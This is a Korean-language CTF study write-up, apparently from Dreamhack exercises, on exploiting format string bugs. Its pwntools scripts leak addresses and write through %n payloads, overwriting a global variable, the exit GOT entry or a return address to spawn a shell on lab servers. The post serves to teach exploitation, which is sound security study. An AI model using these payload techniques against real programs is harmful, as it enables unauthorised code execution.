[함께실습] Exploit Tech : Format String Bug

changeme의 값을 1337로 바꿔보자.

// Name: fsb_overwrite.c
// Compile: gcc -o fsb_overwrite fsb_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}
int changeme;
int main() {
  char buf[0x20];
  
  setbuf(stdout, NULL);
  
  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}

 

▶ 분석

- 보호 기법

 

- 코드 분석

위 코드에서는 get_string 함수를 통해 buf에 32바이트 입력을 받는다. 사용자가 입력한 buf를 printf 함수의 인자로 직접 사용하므로 포맷 스트링 버그 취약점이 발생한다.

 

▶ 익스플로잇 설계

1. changeme 주소 구하기

  changeme의 값을 조작하려면 해당 변수의 주소를 먼저 알아내야 한다. 바이너리에는 PIE 보호 기법이 적용되어 있으므로, 전역 변수인 changeme의 주소는 실행할 때마다 바뀐다. 따라서 PIE 베이스 주소를 먼저 구하고, 그 주소를 기준으로 changeme의 주소를 계산해야 한다.

 

2. changeme를 1337로 설정하기

  get_string으로 changeme의 주소를 스택에 저장하면, printf 함수에서 %n으로 changeme의 값을 조작할 수 있다. 1337바이트의 문자열을 미리 출력하고, 위 방법으로 changeme에 값을 쓰면 changeme를 1337로 설정할 수 있다.

 

▶ changeme 주소 구하기

disassemble main 명령어를 사용해 printf 함수가 호출되는 오프셋을 찾는다.

printf가 main+72에 위치하므로 이 곳에 브레이크포인트를 설정한다. 

 

  run 명령어를 통해 프로그램을 실행하면 get_string 함수에서 입력을 받는다. '12345678'를 입력한 후 브레이크포인트가 걸리면 다음과 같은 결과를 확인할 수 있다. RSP+16에 저장된 0x555555554970이 코드 영역에 포함되므로, 이 주소를 사용하면 PIE 베이스 주소를 구할 수 있다.

 

  x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달한다. 다음은 printf 함수의 인자를 순서대로 정리한 표이다. [RSP+16]은 포맷 스트링의 8번째 인자이므로, %8$p로 접근할 수 있다.

 

RSI : 0x7fffffffdf10

RDX : 0x8

RCX : 0x7ffff7af2151

R8 : 0x7ffff7dcf8c0

R9 : 0x7ffff7fe2470

[RSP] : "12345678"

[RSP+8] : 0x0

[RSP+16] : 0x555555554940

 

vmmap의 실행 결과를 활용하면, RSP+16에 저장된 값과 PIE 베이스 주소의 기준 주소와의 차이가 0x940임을 알 수 있다.

 

  %8$p로 출력한 주소에서 0x940을 빼고, changeme의 오프셋을 더하면 changme의 주소를 구할 수 있다. changeme의 오프셋은 다음 명령어로 확인할 수 있다.

 

  이를 이용하여 pwntools 스크립트를 작성하면 다음과 같이 코드 영역이 매핑된 주소와 changeme 변수의 주소를 구할 수 있다.

# Name: get_changeme.py
#!/usr/bin/python3
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")
context.arch = "amd64"
# [1] Get Address of changeme
p.sendline("%8$p") # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]
slog("code_base", code_base)
slog("changeme", changeme)

 

- 1337 길이의 문자열 출력

  %n은 현재까지 출력된 문자열의 길이를 인자에 저장한다. 따라서 해당 형식 지정자로 changeme 변수에 1,337을 쓰려면 1,337바이트 길이의 문자열을 먼저 출력해야 한다. 위 코드에서는 입력받는 길이를 0x20으로 제한하므로 1,337개의 문자열을 직접 입력할 수는 없다. 이럴 때는 포맷 스트링의 width 속성을 사용할 수 있다.

  포맷 스트링의 width는 출력의 최소 길이를 지정하고, 출력할 문자의 길이가 최소 길이보다 작으면 그만큼 패딩 문자를 추가한다. 예를 들어 %1337c에 대응되는 인자의 길이가 1,337보다 작으면, 인자를 출력하고 남은 길이를 공백으로 출력한다. 아래 코드로 이를 확인할 수 있다.

// Name: fsb_minwidth.c
// Compile: gcc -o fsb_minwidth fsb_minwidth.c
int main() {
  printf("%10d\n", 123);
  printf("%20c\n", 'A');
}

 

▶ changeme 덮어쓰기

  changeme 변수의 주소를 알고, 1337의 길이를 갖는 문자열도 출력할 수 있으므로, 아래와 같은 포맷 스트링을 구성하면 changme의 값을 1337로 쓸 수 있다. 포맷 스트링을 구성하고, 익스플로잇을 실행하면 아래 실행 결과와 같이 good이 출력된다.

# Name: get_changeme.py
#!/usr/bin/python3
from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./fsb_overwrite")
elf = ELF("./fsb_overwrite")
context.arch = "amd64"
# [1] Get Address of changeme
p.sendline("%8$p") # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - elf.symbols["__libc_csu_init"]
changeme = code_base + elf.symbols["changeme"]
slog("code_base", code_base)
slog("changeme", changeme)
# [2] Overwrite changeme
payload = "%1337c" # 1337을 min width로 하는 문자를 출력해 1337만큼 문자열이 사용되게 합니다.
payload += "%8$n" # 현재까지 사용된 문자열의 길이를 8번째 인자(p64(changeme)) 주소에 작성합니다.
payload += "A"*6 # 8의 배수를 위한 패딩입니다.
payload = payload.encode() + p64(changeme) # 페이로드 16바이트 뒤에 changeme 변수의 주소를 작성합니다.
p.sendline(payload)
p.interactive()

 

[혼자실습] Format String Bug

basic_exploitation_002

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

printf(buf)를 보았을 때 포맷 스트림 버그가 발생할 수 있음을 알 수 있다.

 

RELRO, NX bit가 활성화 되어 있기 때문에 GOT Overwrite이 가능하다.

 

exit_got : 0x804a024

 

get_shell의 주소 : 0x8048609

 

exit의 got를 get_shell의 주소로 바꾸어 exit을 실행시키면 셸을 얻을 수 있을 것이다.

get_shell의 주솟값이 크기 때문에 exit_got+2, exit_got으로 나누어 넣어주도록 한다.

exit_got+2가 0804에 해당하고, exit_got가 8609에 해당한다.

 

804의 10진수는 2052이고 앞에 8byte가 있으므로 2052-8=2044이다. 

8609의 10진수는 34313이고 804의 10진수는 2052이므로 이 둘의 차이를 구하면 32261이다.

 

따라서 이 둘을 '%2044c%1$hn%32261c%2$hn'의 형태로 payload에 넣어준다.

그리고 이를 실행했더니 아래와 같은 결과와 함께 flag를 획득했다.

from pwn import *
p=remote('host2.dreamhack.games', 22015)
e=ELF('./basic_exploitation_002')

exit_got=e.got['exit'] #0x804a024

payload = p32(exit_got+2) + p32(exit_got) + b'%2044c%1$hn%32261c%2$hn'
p.send(payload)

p.interactive()

 

 

basic_exploitation_003

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

  read 함수를 통해 0x80만큼의 heap_buf를 입력받고 sprintf 함수로 stack_buf에 heap_buf를 집어넣는다.

이 과정에서 포맷 스트링 버그가 발생할 수 있다.

 

 

stack_buf의 주소 : ebp-0x98

 

스택 구조 : stack_buf + SFP(4byte) + RET(4byte)

0x98은 10진수로 152이므로 152+4=156byte이다. 이를 채워 RET에 get_shell 함수를 넣어주어야 한다.

 

get_shell의 주소 : 0x8048669

 

printf_got : 0x804a010

 

이를 이용해 익스플로잇을 작성했고 flag를 획득했다.

from pwn import *
p = remote("host2.dreamhack.games", 19373)
e=ELF('./basic_exploitation_003')

get_shell = 0x8048669

payload = b"%156c" + p32(get_shell)

p.sendline(payload)
p.interactive()

+ Recent posts